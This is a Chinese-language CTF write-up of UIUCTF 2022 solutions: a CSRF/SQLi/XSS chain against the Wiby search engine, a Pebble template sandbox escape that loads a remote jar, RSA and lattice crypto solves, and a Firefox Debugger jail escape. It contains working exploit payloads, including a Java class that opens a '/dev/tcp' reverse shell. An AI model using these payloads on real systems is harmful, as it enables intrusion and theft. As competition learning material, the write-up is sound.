UIUCTF 2022 WriteUps
這次 TSJ 和 thehackerscrew 聯合參加了 UIUCTF,並拿到了第一名的成績。
web
woeby
這題基本上是 Wiby search engine 的 0day 題,因為網站的 url submission 要 admin review,所以還有弄個 headless chromium bot 去自動 review url。
此題出題時的 commit id 是 55fb0c3b8415a587c3eae4d897c47b5c2e2ae7eb
我解題的時候作者已經放出 hint 說這題會用到 csrf, xss 和 sqli,所以 check 一下 bot.js
:
const { chromium } = require('playwright-chromium');
const { readFile }= require('node:fs/promises');
(async () => {
console.log('reviewing submissions...')
const browser = await chromium.launch()
const context = await browser.newContext()
context.setDefaultTimeout(2000)
const page = await context.newPage()
await page.goto('http://127.0.0.1/review/')
// cheat to solve captcha... dont worry about it
const phpsessid = (await context.cookies('http://127.0.0.1'))[0]['value']
const sessData = await readFile(`/var/lib/php/sessions/sess_${phpsessid}`, 'utf8')
const captcha = sessData.split('securimage_code_value|a:1:{s:7:"default";s:6:"')[1].substring(0,6)
// login
await page.fill('#user', 'admin')
await page.fill('#pass', process.env.ADMIN_PASSWORD)
await page.fill('input[name=captcha_code]', captcha)
await page.click('#login')
// do review!
await page.locator('text=awaiting review').waitFor();
// visit page
await page.locator('a.tlink').last().click()
await page.waitForTimeout(5000)
// finish filling form
await page.locator('input[name^=crawldepth]').last().fill('1')
await page.locator('input[name^=crawlpages]').last().fill('5')
await page.click('#submit')
await browser.close()
console.log('Success!')
})()
基本上就是登入 -> 點擊你的 url -> approve 之後讓 crawler 去 crawl。
然後看一下 review/review.php 可知它需要登入才能存取,但是它下面不遠的地方就有這段 code:
if (isset($_POST['startid']) && $_SESSION["loadreview"]==false)
{
$startID = $_POST['startid'];
$endID = $_POST['endid'];
}
// ....
if (isset($_POST['startid']) && $_SESSION["loadreview"]==false) //this is incase any new submissions are made during the review process, they will be ignored
{
$result = mysqli_query($link,"SELECT * FROM reviewqueue WHERE id >= $startID AND id <= $endID");
if(!$result)
{
$error = 'Error fetching index: ' . mysqli_error($link);
include 'error.html.php';
exit();
}
}
可以看出有個 sqli,可以用 csrf 很簡單的去觸發。因為 admin 才剛登入完成,只要在 Chromium 預設的兩分鐘內 csrf 就能不管預設的 SameSite: Lax
設定。
再來是能 sqli 的話也還是需要有辦法讀 response,而 csrf 正常是不能讀 response 的,所以還是需要 xss。不過這邊當它有 error 時 error message 就會直接被輸出到 html 中,所以用 sql syntax error 就能達成 xss 了。
因此目前的流程是 csrf -> sqli (achieve xss) -> sqli (get flag),payload 在下方:
<!-- <form action="http://localhost:1337/review/review.php" method="POST" id="frm"> -->
<form action="http://127.0.0.1/review/review.php" method="POST" id="frm">
<textarea name="startid"></textarea>
</form>
<script>
const xss = `(new Image).src=${JSON.stringify(location.href + '?xss')}
fetch('/review/review.php',{
method: 'POST',
body: new URLSearchParams({
startid: 'extractvalue(1,concat(char(126),(select flag from flag1)))--'
})
}).then(r=>r.text()).then(t=>{
const target = ${JSON.stringify(location.href + '?response')}
fetch(target,{
method: 'POST',
body: t,
mode: 'no-cors'
})
})
`
window.name = xss
frm.startid.value = `<script>eval(name)</`+`script>`
frm.submit()
</script>
<img src="https://deelay.me/5000/https://picsum.photos/200/300">
uiuctf{cec1e609c
因為這題的 flag 分成兩個部分 flag1 和 flag2,得分別用 approver
和 crawler
user 去 sqli 才能拿 flag。而 review.php
使用的是 approver
,所以還得另外找 crawler
的 sqli 才行。
搜尋一下其他用 crawler db 連線的檔案可以發現 insert/insert.php 特別可疑,因為裡面沒有使用 mysqli_real_escape_string
而是自己 replace 的:
// $url = mysqli_real_escape_string($link, $_POST['url']);
$url = str_replace("\'", "\'\'", $_POST['url']);
$url = str_replace("\"", "\"\"", $url);
// $title = mysqli_real_escape_string($link, $_POST['title']);
$title = str_replace("\'", "\'\'", $_POST['title']);
$title = str_replace("\"", "\"\"", $title);
// $tags = mysqli_real_escape_string($link, $_POST['tags']);
$tags = str_replace("\'", "\'\'", $_POST['tags']);
$tags = str_replace("\"", "\"\"", $tags);
// $description = mysqli_real_escape_string($link, $_POST['description']);
$description = str_replace("\'", "\'\'", $_POST['description']);
$description = str_replace("\"", "\"\"", $description);
// $body = mysqli_real_escape_string($link, $_POST['body']);
$body = str_replace("\'", "\'\'", $_POST['body']);
$body = str_replace("\"", "\"\"", $body);
// $http = mysqli_real_escape_string($link, $_POST['http']);
$http = str_replace("\'", "\'\'", $_POST['http']);
$http = str_replace("\"", "\"\"", $http);
// $surprise = mysqli_real_escape_string($link, $_POST['surprise']);
$surprise = str_replace("\'", "\'\'", $_POST['surprise']);
$surprise = str_replace("\"", "\"\"", $surprise);
// $worksafe = mysqli_real_escape_string($link, $_POST['worksafe']);
$worksafe = str_replace("\'", "\'\'", $_POST['worksafe']);
$worksafe = str_replace("\"", "\"\"", $worksafe);
// $enable = mysqli_real_escape_string($link, $_POST['enable']);
$enable = str_replace("\'", "\'\'", $_POST['enable']);
$enable = str_replace("\"", "\"\"", $enable);
// $updatable = mysqli_real_escape_string($link, $_POST['updatable']);
$updatable = str_replace("\'", "\'\'", $_POST['updatable']);
$updatable = str_replace("\"", "\"\"", $updatable);
$sql = 'INSERT INTO windex (url,title,tags,description,body,http,surprise,worksafe,enable,updatable,approver)
VALUES ("'.$url.'","'.$title.'","'.$tags.'","'.$description.'","'.$body.'","'.$http.'","'.$surprise.'","'.$worksafe.'","'.$enable.'","'.$updatable.'","'.$_SESSION["user"].'")';
if (!mysqli_query($link, $sql))
{
$error = 'Error fetching index: ' . mysqli_error($link);
include 'error.html.php';
exit();
}
這邊有幾個錯誤,第一個是它在 "
的字串中使用了 \'
,所以其實它根本不會 replace 到 '
,不過因為下面 sql 使用的是 "
所以這樣沒用。再來是它沒擋 \
,所以在能控制多個 input 的時候可以用 ("\","a",...)
這樣的方法產生 sql injection syntax error…?
實際測試之後卻完全得不到預期中的 syntax error,之後 docker-compose exec
進去裡面的 mysql 做一些測試會發現很神奇的事:
mysql> select "peko\";
+-------+
| peko\ |
+-------+
| peko\ |
+-------+
1 row in set (0.00 sec)
可以發現它直接把 \
給整個 ignore 了,但是另外開 docker container 裡面跑 mysql 卻不會這樣。這樣奇妙的狀況讓我在這個地方卡了一段時間,
後來繼續 google 了很多東西看到了這個 5.1.11 Server SQL Modes,裡面有個 NO_BACKSLASH_ESCAPES
會把 mysql 的 \
escape 給禁用。而在題目的 mysql 裡面直接執行 SELECT @@GLOBAL.sql_mode;
也就發現它確實是在這個模式下。
檢查了一下 Dockerfile
也看到它確實有設定 NO_BACKSLASH_ESCAPES
,而這個是這個 Wiby search engine 安裝設定所要求的,所以這是很正常的。但是這樣的話就代表我們沒辦法在這邊 sql injection 了。
後來繼續查 NO_BACKSLASH_ESCAPES
和 sql injection 可以找到這個回答,它精簡來說就是:
在 NO_BACKSLASH_ESCAPES
啟用的情況下,mysql_real_escape_string
並不知道你之後會使用的是 single quotes 還是 double quotes,而它預設情況下會做的事就是假設你後面都使用 '
,所以它只會把 '
replace 成為 ''
。而遇到 "
的時候什麼都不會做!!!
所以後來再翻一翻其他使用 crawler user 登入的 tags/tags.php,裡面雖然用 mysqli_real_escape_string
escape 了 url,但是後面 concat query 的地方使用的是 double quotes:
$url = mysqli_real_escape_string($link, $_POST['url']);
// ...
$result = mysqli_query($link,'SELECT tags FROM windex WHERE url = "'.$url.'";');
所以在 url 中塞 double quotes 就能直接 sqli 了。剩下因為這個檔案也是需要登入後才能存取,所以一樣是需要用前面的 xss 才行。
<!-- <form action="http://localhost:1337/review/review.php" method="POST" id="frm"> -->
<form action="http://127.0.0.1/review/review.php" method="POST" id="frm">
<textarea name="startid"></textarea>
</form>
<script>
const xss = `(new Image).src=${JSON.stringify(location.href + '?xss')}
fetch('/tags/tags.php',{
method: 'POST',
body: new URLSearchParams({
url: '" and extractvalue(1,concat(char(126),(select flag from flag2)))-- '
})
}).then(r=>r.text()).then(t=>{
const target = ${JSON.stringify(location.href + '?response')}
fetch(target,{
method: 'POST',
body: t,
mode: 'no-cors'
})
})
`
window.name = xss
frm.startid.value = `<script>eval(name)</` + `script>`
frm.submit()
</script>
<img src="https://deelay.me/5000/https://picsum.photos/200/300" />
ef0e05add463c52}
spoink
這題基本上是 java 的 LFI,使用的 template engine 是 Pebble Templates。
首先題目沒有上傳點,所以可知大概要使用 file upload 然後 lfi temp file 才行。測試一下會知道上傳的檔案 socket file 會出現在 /proc/1/fd/?
的地方,不過存在時間很短。這部分自己測試發現很單純的暴力 spam 是能成功的:
while true; do curl 'https://inst-a5ff46b6db9c5682.spoink.chal.uiuc.tf/?x=../../../../../proc/1/fd/16' -F 'a=@payload' -s & ; done
之後拿 Hacktricks SSTI 的 Pebble 直接來用會失敗:
{% set cmd = 'id' %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
查了一下它的 error 會找到 BlacklistMethodAccessValidator#isMethodAccessAllowed,裡面禁止了所有 object 屬於 Class
時的 method access,所以我也想不到能怎麼繞。
卡在這邊的時候 THS 的 fredd 丟了一篇 Room for Escape: Scribbling Outside the Lines of Template Security,裡面探討了各種 template engine 的安全性。裡面還表示說有 Pebble 那個保護的繞過方法,但是卻因為 The Pebble team is still fixing several bypasses we found for Pebble sandbox. Details will be released on a future date. 所以沒有現成的 payload 能用…
不過那篇文章中也有許多其他有用的資訊,像是告訴我了 Pebble 會 expose Spring Beans 的東西。而裡面有個 request
物件是 ServletRequest 相關的物件,參考文章使用了 getAttributeNames()
看看有沒有甚麼有趣的物件,然後就找到一個拿到 ClassLoader 的方法:
{{ request.getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT").classLoader }}
拿到 ClassLoader 代表我們可以任意拿 class,但是因為沒辦法直接 call Class
的 methods,所以也不知道能做什麼。
後來繼續讀那邊在裡面找到了一個這樣的玩法 (非 Pebble):
<#assign urlClassloader=car.class.protectionDomain.classLoader>
<#assign urls=urlClassloader.getURLs()>
<#assign url= URLs[0].toURI().resolve("https://attack.er/pwn.jar").toURL()>
<#assign pwnClassLoader=loader.newInstance(urls+[url])>
<#assign VOID=pwnClassLoader.loadClass("Pwn").getField("PWN").get(null)>
這邊我們知道可以 load remote jar 下來,所以我就想說能不能在 loadClass
時達成 RCE。經過一番的嘗試後也真的能把我自己寫的 class load 進來,但是我寫在 static initializer 的 code 卻沒被執行。
研究了一下找到了這個問題,才知道原來 Java 的 class 有分 loaded 和 initialized,而 static initializer 在 loaded 狀態時還不會執行,所以要讓它成為 initialized。
然而讓一個 class 能 initialized 的方法好像只有兩個,一個是 newInstance
,不然就是要 Class.forName
,兩個我都做不到。所以又只好回去讀那篇文章,看有沒有什麼其他東西能用。
然後就在它 Web Application ClassLoaders 的章節看到 Tomcat ClassLoader 有 getResources() 能用,然後再串 getContext() 和 getInstanceManager() 就拿到了 InstanceManager。它上面有個 newInstance
能用,所以直接用它來幫我 remote 載入下來的 class 去 newInstance
就能 RCE 了。
{% set cl = request.getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT").classLoader %}
{% set pb = cl.loadClass("java.lang.ProcessBuilder") %}
{% set ar = cl.getURLs() %}
{% set urls = cl.parent.getURLs() %}
{% set im = cl.getResources().getContext().getInstanceManager() %}
{% for url in urls %}
{% set u =
url.toURI().resolve("REMOTE_JAR_URL").toURL() %}
{% set l = [u] %}
{% set ar = l.toArray(ar) %}
{% set jcl = cl.newInstance(ar) %}
{% set c = jcl.loadClass("Pwn") %}
{{ c }}
{{ im.newInstance(c) }}
{% endfor %}
jar 的部分很簡單:
import java.lang.System;
import java.lang.Runtime;
public class Pwn {
static {
Process p;
try {
p = Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/IP/PORT 0>&1");
p.waitFor();
p.destroy();
} catch (Exception e) {}
}
public static void main(String[] args) { }
}
// javac Pwn.java
// jar cf pwn.jar Pwn.class
另外後來問作者關於我暴力上傳那部分是對的嗎,而作者說可以直接讓 upload 卡住就行了。就 multipart form data 的檔案不要讓它結束掉,而是讓它卡著,然後另外發送一個 request 去 LFI 即可。
from pwn import *
host = "inst-29c2fc660ac14e62.spoink.chal.uiuc.tf"
port = 443
payload = b"""
{% set cl = request.getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT").classLoader %}
{% set pb = cl.loadClass("java.lang.ProcessBuilder") %}
{% set ar = cl.getURLs() %}
{% set urls = cl.parent.getURLs() %}
{% set im = cl.getResources().getContext().getInstanceManager() %}
{% for url in urls %}
{% set u =
url.toURI().resolve("REMOTE_JAR_URL").toURL() %}
{% set l = [u] %}
{% set ar = l.toArray(ar) %}
{% set jcl = cl.newInstance(ar) %}
{% set c = jcl.loadClass("Pwn") %}
{{ c }}
{{ im.newInstance(c) }}
{% endfor %}
"""
payload += b"x" * 1337
body = b"-----------------------------606f6c40cdbf678a\r\n"
body += b'Content-Disposition: form-data; name="lolz"\r\n'
body += b"\r\n"
body += payload
# do not end content disposition
# body += b"-----------------------------606f6c40cdbf678a--\r\n"
# body += b"\r\n"
p = b"POST / HTTP/1.1\r\n"
p += f"Host: {host}\r\n".encode()
p += b"Content-Type: multipart/form-data; boundary=---------------------------606f6c40cdbf678a\r\n"
p += "Content-Length: {}\r\n\r\n".format(len(body) + 1000).encode()
p += body
# io = remote(host, port)
io = remote(host, port, ssl=True)
io.send(p)
for _ in range(1000):
print(_)
sleep(0.1)
io.send(b"a")
io.interactive()
# then run this in another terminal
# curl 'https://inst-29c2fc660ac14e62.spoink.chal.uiuc.tf/?x=../../../../../proc/1/fd/14'
# the number `14` can be changed
另外這邊是這題的另一個 writeup 可以參考: https://blog.arkark.dev/2022/08/01/uiuctf/ (日本語)
crypto
asr
這題是個 RSA 題,題目提供了 和 ,反而沒有 public key 的 。
prime 生成部分如下:
small_primes = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37]
def gen_prime(bits, lim = 7, sz = 64):
while True:
p = prod([getPrime(sz) for _ in range(bits//sz)])
for i in range(lim):
if isPrime(p+1):
return p+1
p *= small_primes[i]
p = gen_prime(512)
q = gen_prime(512)
從這邊可以知道 都是 smooth,同時 也是 的倍數,所以用 ecm 分解一下就出來了。
得到 的分解之後知道它正好有 16 個 64 bits prime,所以 種組合都爆破,然後多承那些 small primes 回去之後加一,如果是質數的話就有可能是 或 了。
因為 flag 長度應該不長,所以只要得到一個 或是 其實就足夠了。
from itertools import combinations
from Crypto.Util.number import isPrime, long_to_bytes
e = 65537
d = 195285722677343056731308789302965842898515630705905989253864700147610471486140197351850817673117692460241696816114531352324651403853171392804745693538688912545296861525940847905313261324431856121426611991563634798757309882637947424059539232910352573618475579466190912888605860293465441434324139634261315613929473
ct = 212118183964533878687650903337696329626088379125296944148034924018434446792800531043981892206180946802424273758169180391641372690881250694674772100520951338387690486150086059888545223362117314871848416041394861399201900469160864641377209190150270559789319354306267000948644929585048244599181272990506465820030285
kphi = e*d-1
print(kphi)
# ecm.factor(kphi)
fact = [2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 5, 5, 5, 7, 7, 11, 10357495682248249393, 10441209995968076929, 10476183267045952117, 11157595634841645959, 11865228112172030291, 12775011866496218557, 13403263815706423849, 13923226921736843531, 14497899396819662177, 14695627525823270231, 15789155524315171763, 16070004423296465647, 16303174734043925501, 16755840154173074063, 17757525673663327889, 18318015934220252801]
big = [f for f in fact if f > 100]
small = sorted(list(set([f for f in fact if f < 100])))
small_primes = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37]
for ps in combinations(big, 8):
p = product(ps)
for i in range(len(small)):
p *= small_primes[i]
if isPrime(p+1):
print('pr', p+1)
print(long_to_bytes(power_mod(ct, d, p+1)))
# uiuctf{bru4e_f0rc3_1s_FUn_fuN_Fun_f0r_The_whOLe_F4miLY!}
*Wringing Rings
比賽中沒解,紀錄一下我用的不同解法
這題有個 的九次多項式 ,然後給予你九個 SSS 的 share,目標要得到 。且多項式的係數 都在 的 範圍中。
一個直接的解法是爆第十個 share,然後嘗試插值之後看看符不符合範圍。或是列矩陣出來得到一個解,然後加上 kernel 去爆一下也可以,兩個解法都差不多。
我的作法是一樣列出矩陣,但是直接 LLL 就得到解了,因為係數的那個範圍其實不大,所以預期為 shortest vector,然後也真的能成:
from pwn import *
from sage.all import *
import ast
# io = process(["python", "server.py"])
io = remote("ring.chal.uiuc.tf", 1337)
io.recvuntil(b'polynomial: \n')
xs = []
ys = []
for _ in range(9):
x, y = ast.literal_eval(io.recvlineS().strip())
xs.append(x)
ys.append(y)
print(xs)
print(ys)
M = matrix([[x**i for i in range(9 + 1)] for x in xs])
M = M.T.stack(vector(ys))
M = M.augment(matrix.identity(11))
M[:,:9] *= 2 ** 32
sol = -M.LLL()[0][9:-1]
io.sendline(str(sol[0]).encode())
io.interactive()
# uiuctf{turn5_0ut_th4t_th3_1nt3g3r5_4l50_5uck}
另外在 cryptohack 的 discord 有看到有人用 crt,但我並不是很理解那個做法。
jail
Firefox Shell 1
這題是一個在 Firefox 的 SpiderMonkey 上的 jail escape,作者不僅把 node.js 的 REPL port 到了上面,還多加了一個 .debug
指令能讓我們得到 Debugger API 的使用權。
這題和這個的第二題不同的地方在於它沒有設定一個 hardened
的選項,而那影響到的是 repl.js
的這邊:
case '.debug':
const target = this.getTarget();
const debuggerSandboxUnpriv = Cu.waiveXrays(
Cu.Sandbox(target, {
freshCompartment: true,
wantXrays: false,
})
);
addDebuggerToGlobal(debuggerSandboxUnpriv);
const principal = Cu.getObjectPrincipal(this.getTarget());
if (!principal.isSystemPrincipal && Configuration.hardened) {
delete debuggerSandboxUnpriv.Debugger.prototype.addAllGlobalsAsDebuggees;
delete debuggerSandboxUnpriv.Debugger.prototype.findAllGlobals;
delete debuggerSandboxUnpriv.Debugger.prototype.onNewGlobalObject;
}
Cu.waiveXrays(target).Debugger = debuggerSandboxUnpriv.Debugger;
return true;
可以知道它會移除掉三個額外的函數,所以關鍵明顯是和這三個函數有關。讀一下 Debugger Object 能知道說這三個 api 都是和 privileged code 有關。
.debug
dbg=new Debugger()
dbg.addAllGlobalsAsDebuggees()
a=dbg.getDebuggees()
用上面的 code 測試一下會發現 a
裡面會跑出很多物件,對照了一下它的 prototype 可知它是 Debugger.Object 物件,有點像是 debuggee 中的物件的一層 proxy,可以透過它操作很多東西。
跑一下 a.map(x=>x.getOwnPropertyNames())
會發現很多有趣的東西,其中還有幾個物件擁有 Cu
之類的東西出現,而那東西看起來就像是 privileged api 之類的功能,但是問題在於我們不知道怎麼使用那東西。
首先是它可以使用 x.getProperty(...).return
去取得其他的 proxy 物件,不過其實還有個更好使用的 executeInGlobal
能讓你在那個 context 下 eval。
再來 Google 一下可以查到像是 How to read a local file in an add-on for Firefox version 45+,裡面就有簡單的範例說明怎麼用 Cu
之類的物件,所以拼湊一下就能撈出 flag 了。
.debug
dbg=new Debugger();
dbg.addAllGlobalsAsDebuggees()
a=dbg.getDebuggees()
for(const x of a){
if(x.getOwnPropertyNames().includes('Cu')){
globalThis.p=x.executeInGlobal(`
Cu.import("resource://gre/modules/osfile.jsm", {}).OS.File.read("/flag")
`).return
break
}
}
u8=globalThis.p.promiseValue
ar=[]
for(let i=0;i<u8.getProperty('length').return;i++){
ar.push(u8.getProperty(i).return)
}
ar.map(x=>String.fromCharCode(x)).join('')
// uiuctf{why_mozilla_why_docs_either_deleted_or_bad_3466658a}
另外後來作者還有加說明表示說如果得到了 privilege escalation 之後就沒有 SOP 了,所以直接 fetch("file:///flag")
其實就夠了。如果 global 沒有 fetch
的話就 Cu.importGlobalProperties(['fetch'])
。